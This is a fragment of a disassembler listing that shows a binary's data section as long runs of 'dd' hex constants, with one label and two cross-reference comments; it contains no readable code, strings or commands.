4B2A9C0Dh dd 1F18780Bh, 0C0AC741Bh, 4D24A607h, 0D3008AF9h, 5F540E8Fh dd 152ABD9h, 0F057A35Ch, 0CC69F34Fh, 0A9009D45h, 29122A19h dd 2A844h, 0C6E89228h, 0F3B80443h, 1CE41703h, 0D8821EAEh dd 0B0B6A8h, 84D6AB4Ah, 360831EFh, 96A68607h, 83F08D5Ch dd 48BE13E7h, 0ED0144E0h, 0C8C0ACA5h, 541080DCh, 0CEF96324h dd 0A3590CBDh, 87F0B87Dh, 0C400907Ah, 7372AF80h, 3634439h dd 958E3EEAh, 0A00009E7h, 6C2EB464h, 3B79B7h, 6F30ECEDh dd 583F47FCh, 51B8A400h, 1B6D29E1h, 0D68D02B0h, 5D49A19Fh dd 0BDC68C60h, 73D0C848h, 96B36D00h, 46542F9Ch, 18A960F0h dd 90CBCCA2h, 0E639900h dd 86203E11h, 0B6E426FCh, 61C307B8h, 2133D087h, 300CD157h dd 0B4C0BA68h, 69DD009Ch, 0F64763D6h, 2600771Bh, 0E9202981h dd 9AEFADh, 0DF7D041Eh, 0E3B54875h, 5D2E9C1Eh, 980F582h dd 8848305h, 0C7C8D059h, 0DA0300CFh, 9C236CEDh, 0B5E25A13h dd 0B1D03A00h, 90270E7Fh, 0FC800D8h, 8B127078h, 690B209Ah dd 0BF8EDCh, 0EDC35834h, 0FC47E9D7h, 0F0D03460h, 0F87769h dd 87E97CCEh, 0F303D654h, 0E16ED301h, 0DC27F259h, 0F1408D8h dd 74822838h, 42AC4E60h, 0F039E15Ch, 8C6D8047h, 4C813101h dd 589D04A4h, 0C21B2635h, 6140CF59h, 0D5008A30h, 677F7D46h dd 7B391177h, 5B0400B8h, 69EA5360h, 5800CEB1h, 0B29AAADBh dd 2777DAh, 0ED7CD87h, 0F1823198h, 0DE1F9200h, 0C5C90133h dd 8AD50066h, 0D3543427h, 73009EBEh, 0B7D78785h, 1163DC4h dd 0AA219AAh, 0C48B64BFh, 0BA0C8506h, 384DFD39h, 464B0083h dd 0A4A815FFh, 0C3F4324h, 9DEA80FCh, 5993584h, 7C21000Fh dd 0B8858D92h, 9B00AC69h, 3BDC2496h, 170355h, 5A4B28E6h dd 4DA01FE3h, 81887F04h, 90D01395h, 1569A3h, 853AC60Bh dd 6828DC6Dh, 0F1984300h, 0CDAD2180h, 44070062h, 67DBD013h dd 3F000AD4h, 0D28DE109h, 0BF14021h, 5738C932h, 88D97E80h dd 0D82626F8h, 160EF64Dh, 0F7DC8066h, 5B48D3h, 56A6AD71h dd 0B3023387h, 6FA8F51Dh, 0A707E85Eh, 4582FE3Ah, 0AEB08011h dd 6727EFA5h, 80B611B0h, 841A1799h, 5C3BD1Dh, 911D29C0h dd 302FA155h, 8AD8DFFDh, 6FE53A2h, 0E8F3A630h, 3038F512h dd 11F9591Fh, 2074EC2Ch, 0E34E08A0h, 0BF48A90Ch, 6AC68D0h dd 549167D2h, 87154028h, 54C7DBh, 0E5A6991Bh, 0C0069C16h dd 746A2A20h, 93013DE8h, 1A0F0D24h, 0A88EBA8Ah, 6267B203h dd 84F20A0h, 71009680h, 19FA9C4Dh, 28B6C9D7h, 3B50E7Bh dd 0BB33C24h, 81A2F023h, 0B85CC860h, 0D507A8E4h, 30094815h dd 0DBDAC8C0h, 0A2A0008Eh, 0D895C2F0h, 18009D05h, 99712AF1h dd 0D5F4F5h, 9621136Ah, 9DBF460Dh, 0D8A21C00h, 1EC001BEh dd 7EE61Dh, 3BC7D63Eh, 0EDD067B7h, 7D074AECh, 857AE779h dd 223F0260h, 0F4D10013h, 0C67C471Bh, 0DE00AD19h, 68F82FE8h dd 0A8A375h, 43F7C818h, 0F30C22D3h, 1A79DB1Dh, 0A06B3B03h dd 0A5539A11h, 47E87C8h, 0E01DAD15h, 0E4158A00h, 4056991h dd 0F835CF00h, 858F501Ch, 67793E9Ah, 8A7E7A07h, 804F34BCh dd 5B0EBF98h, 0C795C0F9h, 44D357Fh, 892103F0h, 8964A6Dh dd 2C467C50h, 72FF0183h, 7290583h, 0FB12D4Dh, 36808BF0h dd 99F265ACh, 0F3F7CC3Fh, 8EBE933Eh, 79D50385h, 6052DFB9h dd 0CED8203Bh, 59CEC47Eh, 0C27CC330h, 0F2B9C81Ah, 7093531Ch dd 1307ED00h, 49A4D550h, 0FD6AA01h, 0AC6A9B7h, 58E891h dd 0DB63948Fh, 47C0262h, 73FF063Fh, 0C2CB464Ch, 14C8C60h dd 0BE741DDBh, 601105AFh, 0A9DEFB39h, 147EC58Ah, 8DC32101h dd 0A98EB972h, 504085CDh, 7A7D05AEh, 801C976Fh, 7E410230h dd 4A39CF29h, 0D2CEC560h, 0F319A54Eh, 26084605h, 0F8452180h dd 5F6FD4C5h, 0DACB8D07h, 57A1BEE7h, 245489h, 0F10E68Bh dd 0AF262A6h, 47042709h, 83109004h, 0A1005F52h, 5C21DF53h dd 0D5626Ah, 764F2B4h, 0B6ECA3B1h, 758DD20Ch, 137CB0F7h dd 206A3987h, 68EA328Ch, 839BBD38h, 3391077Bh, 705A37Ch dd 68A29521h, 7EDE808Ah, 1090A55Ch, 9285BB07h, 47C26683h dd 0A1B48F22h, 94B4F207h, 0C6F36710h, 1BD94601h, 1C1602A6h dd 77F088Ch, 1772C730h, 0F6AFC803h, 88DE103Dh, 0C413ACE9h dd 18744A61h, 1A841289h, 200B4119h, 85B41483h, 0F8782064h dd 48C72160h, 43EBD93Fh, 4A98B422h, 0CD8FC700h, 7CF9FF95h dd 0D82701E4h, 66076E72h, 702DCCF2h, 98AF6529h, 0AD1809D9h dd 5E5C0F00h, 7F05A4FFh, 0B8106350h, 2900FC69h, 0B54B92EDh dd 48F356h, 7E20CE51h, 2E37EA34h, 0E20F0204h, 0B480B26Ah dd 0FBC2E3h, 0BCE8F403h, 200B5773h, 6F362300h, 0BD09CFC0h dd 4C7500D1h, 77022A72h, 9FB89612h, 87E7920Fh, 28212005h dd 0C1EF65h, 8249745h, 765AF9A2h, 12A75Ch, 14C919Ch, 17053D0Ch dd 3D6CC10h, 0CF6109BCh, 0F42D9EA1h, 330015D3h, 0C2A1F9EAh dd 0C5F569h, 792B270Ch, 0DBB0F6E0h, 0A496383Ch, 301C7BBDh dd 776EAE40h, 767D79DCh, 208900E1h, 0E60DD104h, 8100DBD2h dd 190D6F7h, 3B8614h, 591E6103h, 4D108748h, 0A2D7470Eh dd 451A60F5h, 74AFDh, 877BB81h, 2F108098h, 0B2001EECh dd 19169DBh, 18048122h, 58D74CFFh, 5300D5A4h, 1476075Ch dd 0D214A7Dh, 0D0D8CDFCh, 605BED21h, 6100DAD9h, 0B8D4FD67h dd 183AA6FAh, 494082DBh, 0EA3DF514h, 1B34CE3h, 8735D68Ah dd 0E6E0BFFAh, 58E20073h, 3F3C51F2h, 8D00264Dh, 0C91A9AEAh dd 746F81D7h, 61BAF89Fh, 43011912h, 5EABE0E1h, 7B30427Ch dd 69FF31EBh, 0D2270554h, 0A7F21Fh, 0A3922290h, 0ED37ADC2h dd 0CAF4C866h, 0E2CB7600h, 0A4A9EB82h, 809BDCD7h, 3FDA2000h dd 71616846h, 6CD100FAh, 0D53B6B14h, 0A463031Ah, 0F58930h dd 18474339h, 0E8E4FA84h, 97306C00h, 60C33959h, 0D753007Eh dd 48016F7h, 2F094756h, 0FC828A70h, 4D0D3EA5h, 0F090D7BDh dd 6D0390C2h, 4E83C5A4h, 5093A03Ch, 9E4928F7h, 0E4D600B8h dd 5C04E1DBh, 0F90F5220h, 27C8DF76h, 0F840F234h, 1F54438Eh dd 40E211E3h, 0C1F67B6Ah, 0E700D05Ch, 0B050E1C6h, 328FF8C0h dd 0A329572Fh, 89DF1C10h, 449B08B4h, 42843756h, 8B821D8h dd 1B905C49h, 44C87784h, 5544AF1Ch, 800F4872h, 17C42EA2h dd 0BB03DF47h, 85103945h, 0C548D197h, 9C86F8h, 75EF1802h dd 0E57E03BBh, 6D6F000h, 0C7283C25h, 677D0064h, 0B7BCA384h dd 277C80A1h, 0F1C92300h, 0AD571F4Ch, 748AB88Dh, 71DC00A6h dd 44EEECE5h, 481ED115h, 9C1EC710h, 0A1732200h, 725AB1A2h dd 84F03FB4h, 2CBC9E0Eh, 65157640h, 0CE002454h, 66DB1890h dd 0F9E402BBh, 53257080h, 855540A6h, 81017F00h, 387367D3h dd 62A20112h, 1B05FF8Fh, 0DB26D034h, 0A5DF2902h, 81770FEDh dd 67614E4h, 0FCC70C4h, 8A02720Eh, 0DC394CE0h, 8500051Bh dd 0A4FF016h, 0FEB01D86h, 4C7C00FAh, 0EC0CB749h, 0C7014E38h dd 91629F83h, 108007F3h, 1CAD24FDh, 0D3006DBDh, 4AD0E8A4h dd 0C214419Eh, 74BB5A80h, 1B982400h, 0DD68152Ah, 0DB008CD2h dd 0B189C101h, 97252E90h, 3DA5CAAh, 71532608h, 41FD6AA8h dd 0E9A60507h, 0EA005824h, 0FF3144h, 5FE0E4CDh, 6CCA7508h dd 0C748001h, 9E54104Dh, 5E1ED080h, 91A49FDDh, 552D9C00h dd 26196DD0h, 0A14E005Bh, 4E6CEE7h, 163CD8EDh, 1058FF0Fh dd 18FC00ABh, 47FEBCB1h, 7F213A31h, 1F09CB9h, 57B4864Bh dd 0D8AF853Eh, 58EE96EAh, 47143D00h, 0C7635D7Dh, 0C3F424DAh dd 12AF24A0h, 8A340085h, 0D148DD78h, 4F57452Ch, 0C7EE4400h dd 17D7C25Fh, 7A34AEh, 9645A066h, 0FD24E247h, 7E8144E7h dd 0F87F62E1h, 90D0C0D0h, 0CE890008h, 5D726D0Dh, 0B4092FA6h dd 803C1C8Bh, 0BB1F17DDh, 88FC00D8h, 0D413F5AEh, 0CB00A0F2h dd 9419B4DDh, 0B57522h, 0FC631EEFh, 0E7BEEC9h, 0F3315200h dd 3A306F78h, 79FA0055h, 859369E9h, 0A50094E4h, 0FB997358h dd 0EC4396Fh, 0B83C6B76h, 18A6E320h, 21000F27h, 7E6C6577h dd 7D8F5Bh dd 0E456F650h, 4A68C881h, 0A4153D00h, 74DD4ECDh, 0F77F00EAh dd 0AD6C3B5Eh, 20FF95C2h, 1844361Ch, 750D1FD9h, 348D80F3h dd 4630734Ah, 0BE58A3F0h, 0C6940A57h, 9D00F819h, 0DA02E7DEh dd 0BE424h, 874181CEh, 0DBEB74B7h, 8055C83Fh, 27FACDACh dd 322F1Ch, 638F9E0Bh, 30659D34h, 568D5B03h, 8B8B67ECh dd 0E0DE888Ah, 2E8400F2h, 346FC7D8h, 0BC00BBF6h, 9711EC55h dd 12C74FDh, 9C469FCFh, 0D8B3C109h, 0A7039422h, 56FDFC0Eh dd 7B51A811h, 0B51A00B8h, 0AEED171Bh, 2201BA27h, 0AC66583Fh dd 84C46A2Bh, 757CE9h, 0F6A5CD25h, 4B286B71h, 3CF23800h dd 0A2DF26B2h, 997A00D0h, 51D259E2h, 6F60C816h, 617CDBF4h dd 0D8074CB1h, 110A2903h, 0ABB01BB3h, 8F0051F5h, 0CFE3356Eh dd 0FEB7237h, 0C7B4E993h, 1124D2C1h, 6B77E4C6h, 0A1B90C00h dd 0E0484C98h, 0B71200D1h, 862C2618h, 8700EC20h, 820DA741h dd 0AF5A6h, 0B6C6D5AFh, 0EB2D7B1Eh, 0DB2E9700h, 35F3333Bh dd 1085002Bh, 62F27838h, 0CE0077D2h, 0D31FBFABh, 0F9894C6h dd 0F832974Eh, 0F4A271C0h, 8B0085E9h, 0E3A0227Fh, 2E18175h dd 0F8DF5CACh, 4440A3B0h, 7700C368h, 860E1FBDh, 0FDED9Eh dd 82753DA0h, 0F660BB06h, 0D4DB4809h, 5083806Ch, 0CF831Bh dd 0C9566D92h, 80492309h, 0DE0095FAh, 4C74A645h, 0AF1BCAh dd 6B65FFFEh, 601DF5B3h, 76FA8B1Dh, 6E28F701h, 33214192h dd 1D200BC1h, 0D3B8018Ah, 7E2C52AEh, 0D68720B0h, 0CE30FCF6h dd 6C0819E9h, 31850068h, 98F6943Fh, 3626DBB6h, 9301C45Eh dd 0FE10EA7Ah, 0E216E8h, 522B9622h, 0A69A67F4h, 0E8D8D900h dd 0D1542340h, 0F3643D91h, 0F1FC292h, 0C7A062C4h, 0B17E2FA7h dd 56E3DE00h, 75EB1620h, 6785006Dh, 0C105500Ch, 6060CB9Fh dd 0B8041DC0h, 0C98A00BBh, 61450E3Dh, 0A005FA5h, 329D9875h dd 0C58188h, 9CDE1FB4h, 0B8D64DABh, 0C3FC500Eh, 882CA0D8h dd 8F0CF2h, 57B2B9FAh, 974B9BCBh, 8F39E07h, 99D0F1CCh dd 61F83Ch, 0A719452Ch, 0B1AAF6B3h, 5F8CC300h, 0B73F1DCEh dd 0FA101888h, 81DA680Fh, 6F069903h, 0D1F15BFDh, 6820EAD4h dd 0F52E07CAh, 4059AE85h, 928B9861h, 6808D526h, 1387630Fh dd 0F70B0405h, 0ABA3FCC0h, 322A00B5h, 599B31B2h, 0B824D75Fh dd 900BDD5h, 587D7635h, 4A72A7h, 0C0BC4956h, 8C69564h dd 99018500h, 8DA02FC8h, 6FD11EF9h, 0EB51862Eh, 161220B0h dd 0F600AC87h, 6BE6CC8Ah, 0E9A83FE4h, 8B645600h, 4549944Dh dd 823B503Ch, 0C1F1B753h, 1D0CC0C0h, 0B2811C6Ah, 0D4DFF3h dd 2BB8FC94h, 40030273h, 31431672h, 262888ABh, 0B9F550B7h dd 0E9D300A1h, 2992DCA9h, 0BD012298h, 0FD6B3247h, 0C60EAD5h dd 493A0095h, 85A796Dh, 3900AF9Eh, 0BB71CDCEh, 0A084610Ah dd 3D156BFAh, 0B58F50FAh, 0F9601408h, 519F4C52h, 0DD97EC1Fh dd 21B235CEh, 0C8985D25h, 1F7B2860h, 80919463h, 9038E8CBh dd 0A5065B97h, 2476B5A0h, 99CE0080h, 2EEF398h, 8E3ACF07h dd 6B3680B6h, 0C651BE7Ch, 132C763Bh, 1FA30A79h, 659FC3C9h dd 41B73F23h, 0CBD4CFDEh, 7910F9D0h, 8003143Eh, 0BA72E909h dd 16B532h, 7D961222h, 86E6A371h, 0D7598500h, 0DECC284Ah dd 14C72AEh, 9A2CF987h, 0C08EBBF7h, 780EE32Eh, 60167E2Bh dd 354DE8FFh, 0C66E3CCCh, 0A2FD9F80h, 6370299Bh, 0B73B22EAh dd 5D8787A8h, 7C209921h, 0DE8DB2h, 0A3474919h, 39709B6h dd 1400F871h, 0FBBB1ADh, 48E1E490h, 690058E3h, 6AF3B4CAh dd 33006B35h, 7338CF91h, 401020h, 0A9CE1BB0h, 923C86F7h dd 0B6E6402h, 609BB780h, 0DBEEBCh, 6023398Ch, 6BD96ACBh dd 0C022EC26h, 0E666C702h, 8DE8E877h, 0ACBD0F72h, 0D24047E7h dd 75202E8Ch, 0CF62862Eh, 6042C00Eh, 0EC32D994h, 9B0700A8h dd 0C7B1F87Ch, 1F008FD3h, 1234FDCEh, 0C42014h, 2CB6FBEDh dd 0A1313F52h, 4C2B3900h, 3CB223B9h, 0A9370167h, 7C1AE022h dd 17198E7Ah, 100F8027h, 7FEB0Eh, 0E45E8566h, 0EA328D59h dd 0E7A22200h, 7CAFC2A9h, 0C84260EBh, 3348E104h, 9A173D00h dd 0D821355Eh, 6C87000Ch, 3097A37Ch, 0E7BDD81h, 0AB946200h dd 0E6BAA22Dh, 0FA660096h, 0D56559FCh, 0CE483D8Fh, 27E907ACh dd 26926F7Ch, 0FADEA2B3h, 3D81600Ah, 0E7CE0046h, 7CA7707Ah dd 0C61C0613h, 4E47E81Ch, 89C9945Ah, 0CC668142h, 0C9E804DAh dd 6CD148A8h, 0CD567107h, 0AE6C80FFh, 0C700F6A6h, 5A20580Bh dd 48550FDDh, 5005185h, 760DFA01h, 0A6001469h, 0DEA02D44h dd 0E4D8E9h, 0AC2AB9B7h, 0EA6F59C4h, 0E2EB40Ch, 4E14E8EDh dd 0B964F191h, 0D4A08070h, 17764B0Bh, 3F643783h, 9196A418h dd 0F169BFB0h, 65B8FF32h, 56001B22h, 0E157C66Ah, 87FA4Fh dd 2E4A46A0h, 0B3ADC31Ah, 9ED7D100h, 8E81C06Fh, 0D170072h dd 0A7D60164h, 6B00C520h, 73B887BCh, 7629B567h, 6FED00E3h dd 86DCA5CFh, 6900457Ah, 8C92C7C3h, 7A584140h, 83A01EFh dd 65B3E76Dh, 6152EC8Eh, 0DF4993E8h, 2C9D0684h, 0E2C0B1F6h dd 7D900041h, 111E86F9h, 0F2012AA1h, 9FD692A9h, 8BE40F0Ah dd 0CF0407C5h, 40BDA617h, 4492AF90h, 83F26201h, 8DEDD1C6h dd 25EAE4h, 3B2AC999h, 9C74F55h, 0EE000174h, 92FF0697h dd 56FC2Fh, 0D6AB5AB8h, 6D5BAF3Ch, 9C85ED05h, 288018E7h dd 895857h, 5F6BE8F6h, 2A798F32h, 756A3900h, 0CA7A1EDAh dd 3C820696h, 38A095F5h, 70D7B000h, 42810192h, 15EE0C11h dd 0EB10912Bh, 414A5403h, 88A404BEh, 7A9BC74Ch, 0E2760097h dd 237DCDC3h, 963D94A3h, 0D3F01CBh, 0F6B55958h, 0DD6E9840h dd 0FF0101B8h, 0CE3BA962h, 0BC526090h, 0C496937Ch, 1C9F0B00h dd 970FE101h, 2302AC0h, 0C8BC081Ch, 0EABE50F1h, 6012DE10h dd 20B0700h, 7C992892h, 0F4214C45h, 0B4D00401h, 407A4E86h dd 35D831A0h, 20B359h, 3FA70E46h, 162592A6h, 325D88h, 5C07EE04h dd 463D6F95h, 0C32C013Bh, 1BD91979h, 4B09209Eh, 280056C1h dd 4B6FC802h, 892B7E01h, 0C5D65728h, 588380CBh, 538B2666h dd 0FFB8B8h, 57A85F3Dh, 698D3363h, 3FAAA00h, 8ACF8C2h dd 0A5D80F3Bh, 0FC40A00Bh, 34B7695Ch, 6C67D003h, 4CE93D8Dh dd 0FD07CDF0h, 0F12BE607h, 645BEA75h, 3D0F9BA0h, 6337A6C7h dd 90605239h, 3FAAB4h, 8027E07Fh, 0C0662565h, 6D742817h dd 629BC301h, 583021F0h, 0C1DD03B3h, 22D1820Ah, 0B89CE0A4h dd 58C5A207h, 0BB003460h, 0D6113h, 123009B4h, 0D77ED8BCh dd 35C8B00h, 8DF1CB2Ah, 7B0A442h, 0F0FC2B54h, 9284006h dd 6D3F053Bh, 91880199h, 962ACE22h, 27FA6882h, 4560F007h dd 0E70FA5ECh, 4E464EFDh, 4D17E29Ah, 6C78C7h, 84D49E26h dd 5C61983Dh, 78054700h, 46A35A6h, 116C0AFFh, 889CDACDh dd 0C10ED419h, 134AC0C2h, 9789F360h, 0FBCC62E0h, 828D700h dd 4B313BE2h, 7A43072Fh, 911E09CDh, 8564821Fh, 0A1A43378h dd 8DE32FC0h, 943E0080h, 4FEC2307h, 0E496ADF9h, 0A269E800h dd 17502E3Dh, 26052Ah, 0D1A4C5D0h, 64000E29h, 79F6DC7Ch dd 51FCCC0h, 60210AF1h, 0C7B680C5h, 0F8B80BCEh, 0E091BB50h dd 0A501B3FEh, 67145158h, 0A4409DB0h, 7BFDBD23h, 41C107C7h dd 194F580Eh, 8EA88824h, 62FEC0B0h, 7DCFCh, 0F48E90D0h dd 0AA5DF08h, 5000EF4Eh, 29C2A83Dh, 16B30097h, 8E545577h dd 911DC926h dd 19C02D53h, 4789AC5Dh, 0B09590BCh, 9CCE00E0h, 1B049350h dd 6B00B92Eh, 28F0F766h, 489BF2C8h, 0B80EA4E6h, 19DEFB70h dd 0E9E21031h, 2D7C7043h, 0C3DB10C0h, 0B09576B4h, 125D24D0h dd 6D960014h, 0B05FBCCFh, 31FEB100h, 77DCF41Fh, 0E1AE00D3h dd 5FF9A64h, 5800A811h, 0C97BA143h, 0C73F6Fh, 5F077C1Bh dd 0C04636EEh, 0D4263303h, 0F8F9A19Dh, 8A019h, 0DAF76F18h dd 6A580A16h, 69F62100h, 90301EEh, 639C000Eh, 847D49C7h dd 7C3DB383h, 7EE98791h, 0CC10704Dh, 0EED3D0Bh, 182BA959h dd 53EC9320h, 7E0044ACh, 6C13682Ch, 3ACFA6h, 0C68CF9DBh dd 3C01CC98h, 0C1005477h, 803B1DFCh, 0E073AF0Dh, 4BC8148Dh dd 0EE00E931h, 0BDEFBBE9h, 8800D4A8h, 0D6989B24h, 4A3052h dd 7C20F358h, 6EA631E5h, 1A366000h, 949C3AF9h, 68E809h dd 3199AA49h, 0C65EEBD9h, 0B311C00Eh, 0E90B1F4Fh, 718D00AFh dd 544434h, 0E7EC2630h, 5A90E062h, 0E501A6F0h, 0BC2DACBh dd 0ACE86CF6h, 6BB841h, 0EFBA4D7Bh, 580FB4FCh, 5301DA00h dd 1EE1AC3Ch, 956D06A7h, 0B09FE3EEh, 38009473h, 0BE821971h dd 0F17D4Eh, 70EEA73Ch, 2A241AFAh, 345EAE03h, 0A18814C9h dd 4CF0E79Eh, 4F4203ABh, 0A0BC2E15h, 0B079C807h, 0BFF0A906h dd 9CC3B8h, 67CA8FF8h, 9DB72CAFh, 0A79AC600h, 2E056195h dd 0C1300034h, 0C36B836Ch, 1E000C4Bh, 0A4DDFD47h, 0EC8B4Dh dd 50D3CFA2h, 3E25D880h, 0BE07B590h, 0ACE4F9BAh, 9E7C3820h dd 1EAF71F7h, 638D30h, 0AD646F25h, 930179D7h, 7076DE9Dh dd 153016F2h, 3D300D4h, 0CEAF8799h, 2D3D555Bh, 13007F88h dd 37DBDC4Dh, 563184h, 2F4148Fh, 0C0E8D433h, 0AB95F303h dd 0F83ECE94h, 7AED09h, 0D1E5A9BFh, 252A53C3h, 5CF95707h dd 0C7FE394Dh, 0BCD03243h, 77C191h, 0D3B2B1A5h, 2A9F8051h dd 0EC00CAEEh, 0F67F7EEAh, 265773h, 70A89EAAh, 0CD60A5Bh dd 43345200h, 0B8FE3C77h, 0E7F009Ch, 3AD796C4h, 6C00D036h dd 0D504584Bh, 8EBB1Eh, 160B05B6h, 3BBFB36Ah, 714BB501h dd 1D64277Ch, 4CA9F4h, 0D7F1843Ch, 0B1533905h, 0BE481300h dd 0FD7A24E1h, 5122002Bh, 0EDEB696Bh, 70009428h, 879EA7EFh dd 0FF6EEAh, 5EB875A4h, 0CC21AA47h, 1274DC00h, 13F25541h dd 80730014h, 4D2EF5FDh, 7007FFD8h, 1FD785ADh db 0B0h byte_520045 db 0F2h, 3Bh, 36h ; DATA XREF: ___:00437A28o ; ___:00437A40o dd 0D2F40E93h, 1C800706h, 0A113BA8Dh, 7800A0F6h, 84565C0Eh dd 245BF0DDh, 368F274h, 5A6EFE1Bh, 467AC098h, 0DA0B08B8h dd 0E8765EEh, 0AEF4C00Eh, 5B7968h, 0BA998B0Fh, 0AD3C2B6Eh dd 0E93DC030h, 76DF3D8h, 0CB772282h, 8B7030A1h, 871CE390h dd 0BC714Dh, 93F17CF2h, 0C065AF6h, 43A2D316h, 0E0307B18h dd 0F0F1917Eh, 72CB079Fh, 41A890AFh, 419BFED6h, 44EFFF10h dd 9EE1C028h, 7A0225DEh, 9C126A94h, 1A49C1F5h, 61B173F0h dd 4EC56142h, 9717000Ah, 7ED87F90h, 77B40C96h, 38B19D69h dd 0B02FE217h, 96C3F900h, 63B3CD55h, 897038F7h, 8B6A2005h dd 0A02149DCh, 219CF673h, 86E98085h, 78A90DEBh, 16E3F200h dd 0CF0B537Fh, 0B56400EAh, 0A2E9D9F1h, 0F20BB358h, 11CC3DCh dd 67D510F2h, 7A19FECh, 4E5743C6h, 3354D0B5h, 3F12367Ch dd 0AE00BC97h, 13345384h, 3B7790F0h, 96001FDBh, 9852757Bh dd 4F003A57h, 1486C2FCh, 2D375Eh, 0FBEE93BFh, 0A1969760h dd 0DD48BD00h, 9EAFBB5Ah, 4E031EA2h, 3B024054h, 39409089h dd 0B812B603h, 0B00DF331h, 7D617C97h, 130C002Ah, 0EAA00E9Dh dd 0BC0039B1h, 83F3D94Ah, 126BA52Bh, 150226h, 651C8B19h dd 0D507DD85h, 3D0DA86Eh, 0CE16C100h, 724502DCh, 0F7D27D68h dd 5792B090h, 8B5B9B00h, 737EE248h, 1F08C631h, 0B101207Ch dd 0FF59B6Fh, 8D40118Ch, 0E82D6017h, 0CCD0003h, 5FD6291Fh dd 0E8A099EBh, 36FCABF2h, 0F3002775h, 6A97247Ah, 4985CECCh dd 7C1D0C4Eh, 0D647C0E7h, 0AD55AE05h, 198B5A07h, 0A2A1AF59h dd 0F450952Fh, 0E98F9BEh, 0A5CC0ED7h, 54C3D9E0h, 6502F1A7h dd 0FE722239h, 0EA88605Ch, 5F81C1A0h, 203615C8h, 7E75A129h dd 1983E203h, 0C0E46055h, 309A4FBBh, 9C31A3EBh, 7D005E16h dd 4558A4BAh, 0D8CF7122h, 767B2188h, 9C2C4200h, 0A9897223h dd 224C8855h, 88475030h, 60B6F1ABh, 7FC51894h, 8D30090Dh dd 0BFF010AAh, 0F78100EEh, 3AEB76ECh, 880F6DA0h, 80D9465Dh dd 0F8AA8249h, 0C6E2003Fh, 0F0CE1A9Dh, 0E424C735h, 5F00F706h dd 0AC87FF4Ah, 8208006Ch, 0DE76B46h, 9B027AC5h, 65DF5702h dd 0A9A4E0FAh, 0EF790F2Dh, 0E0E059DBh, 0F69DD142h, 4F190400h dd 7464D4ADh, 0D8B60025h, 0E0A8F2BDh, 8738F661h, 516200DAh dd 98C410B0h, 92BB1775h, 1DB90315h, 0BAD84497h, 7200DD1Fh dd 0F5EB7F64h, 0FF7CE88Ch, 5E8048BCh, 0E45CC2BAh, 0F000894Eh dd 3929DF52h, 0F684C45h, 1D326A9Ch, 33A512C0h, 86008508h dd 0F6C202C6h, 55ED28h, 0F1D39119h, 0DA63458Ah, 0CFB6D700h dd 0B14FE06Fh, 0D6CA0049h, 2C729A95h, 390CB765h, 0C9B0DFE5h dd 88D0BDA9h, 26FFE81Dh, 0A05A49h, 2EEF5726h, 9B7F011Fh dd 4E5E94CCh, 9EA88F0Dh, 968663A9h, 8C100117h, 1B459960h dd 7B7AF009h, 476BBE03h, 3E972h, 288F9219h, 0F33C7D35h dd 32B3CE1Dh, 38678030h, 605C737Eh, 9EED10AFh, 9F00C33Fh dd 40719C93h, 86B618h, 0D0E3BE4Bh, 0BDF77317h, 0C8657E00h dd 3F0D10DFh, 49D300E1h, 9E64486Fh, 89B8EEEAh, 0E5515300h dd 4E9196A0h, 201400AAh, 454D1917h, 1B48473Eh, 0F732074Eh dd 6F20C034h, 7B1C5Ah, 4835B159h, 0B955753Fh, 37B80900h dd 0F6F20A4h, 93E003FEh, 0D26E5C12h, 2C92A198h, 50013FF2h dd 888D3653h, 63F477CCh, 0A82D051Ch, 5ACEC4h, 4C05EAB8h dd 6209B8CBh, 3960B4Eh, 0D0562BE3h, 175073Fh, 0AAAEB243h dd 0E04844E8h, 0B607CA87h, 0B3AD569Eh, 0B5101100h, 0C1CE00D1h dd 0DB6BC2BEh, 72009C3Ch, 18445129h, 8F88B2h, 234B4252h dd 0E716B46Eh, 1CEC377Eh, 0D300D076h, 0BAF75BA7h, 48797h dd 8A77E09Bh, 0C7589C50h, 0E71DD7A0h, 0B7A2622Eh, 5B6FEC00h dd 96ED32h, 5E151A0Bh, 0C279F9C9h, 8F9A650Fh, 130F416Bh dd 0B0401BEAh, 0D2FFDh, 815D8A14h, 61A7B787h, 3EAA3A3Ch dd 0A30A031Fh, 8BE3EBD2h, 6D2921F8h, 887D1008h, 0A284A40Eh dd 790815E0h, 2F67A642h, 0D588A0E8h, 86C588FCh, 507F22B8h dd 65332806h, 49179FEh, 4AB2FB14h, 720828FAh, 84BD90E7h dd 0BE4A7C6Eh, 0E8B50814h, 887D0988h, 92948E75h, 0E5631B78h dd 70519E29h, 2C40013Ch, 0CD2246F7h, 80BF478h, 34A2B03h dd 0F847F22Fh, 9E61CFh, 0A6F79BD7h, 5B2A135Ah, 5F3EA490h dd 0F2AE01CEh, 38A21E9Dh, 516620h, 0F4D16FDDh, 0A5D51456h dd 10BB3B00h, 0A4CBC745h, 3B472DCh, 2D8FF8A9h, 4F801C26h dd 0EB015680h, 8365EDF2h, 4AE116BFh, 1EE4D9DCh, 407173D2h dd 5B743AACh, 5A26686Dh, 6E00982Fh, 29918264h, 0E17888h dd 0C88C931Bh, 3FD0595Bh, 0CB87424h, 32D97500h, 1A569Bh dd 6A92B38Bh, 0FFC9F66Fh, 7D838C3h, 321FA895h, 497F00ADh dd 64D5B853h, 15009FE7h, 4FC723A1h, 63C040h, 0F43AC825h dd 78581F74h, 46E63200h, 67D730Eh, 25E00288h, 751AA0C0h dd 0E09AFC41h, 18007857h, 0CC35430Eh, 0D7B753h, 4590FAE1h dd 0AE02E6DEh, 4317BA1Ch, 2B4E9640h, 68C1C6h, 99F404ECh dd 0D7F8183Fh, 45826100h, 74C66E89h, 17BF292h, 0A1A8C28Dh dd 0FC8C3942h, 1350B0AFh, 0EE03CA98h, 0DA6AF886h, 0F246C0F9h dd 8A980245h, 77272DECh, 0AA00B63h, 0F00F3CFh, 0A54B2A1Ch dd 91C320h, 0ECC2B9D9h, 47C1F434h, 6666700h, 0F29413A1h dd 0ACC60073h, 589948FEh, 7900D557h, 0BB4C9F3Fh, 751E33D7h dd 78A40341h, 10676B99h, 0F70531F8h, 88406E28h, 7201E175h dd 0D6B37D19h, 9CF4C4D9h, 34BFCE9h, 896C4D14h, 84F8C6EBh dd 1AFEEFAAh, 0C3C81600h, 9AE3DD64h, 0AEE502E7h, 0CF2969CDh dd 0CCFF0B60h, 3D75A01Fh, 202A4280h, 40A2C1h, 0D77DE8F5h dd 4BB19982h, 97E5A709h, 550900F0h, 0FC69C7h, 0DC4249E1h dd 0E20B7D3Fh, 9E032100h, 46C90422h, 5C3C0067h, 8A793D3Ah dd 0EA12AAD7h, 2C07E985h, 0A65310B3h, 